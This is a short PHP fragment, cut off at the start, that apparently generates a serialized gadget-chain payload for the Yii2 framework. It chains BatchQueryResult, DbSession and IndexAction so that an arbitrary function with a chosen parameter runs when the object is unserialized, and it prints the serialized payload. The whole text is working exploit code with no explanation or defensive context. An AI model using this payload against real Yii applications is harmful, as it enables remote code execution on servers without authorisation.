checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\base { class BaseObject { // } class Action { public $id; } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult extends BaseObject { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } $exp = new \yii\db\BatchQueryResult($func, $param); print(serialize($exp));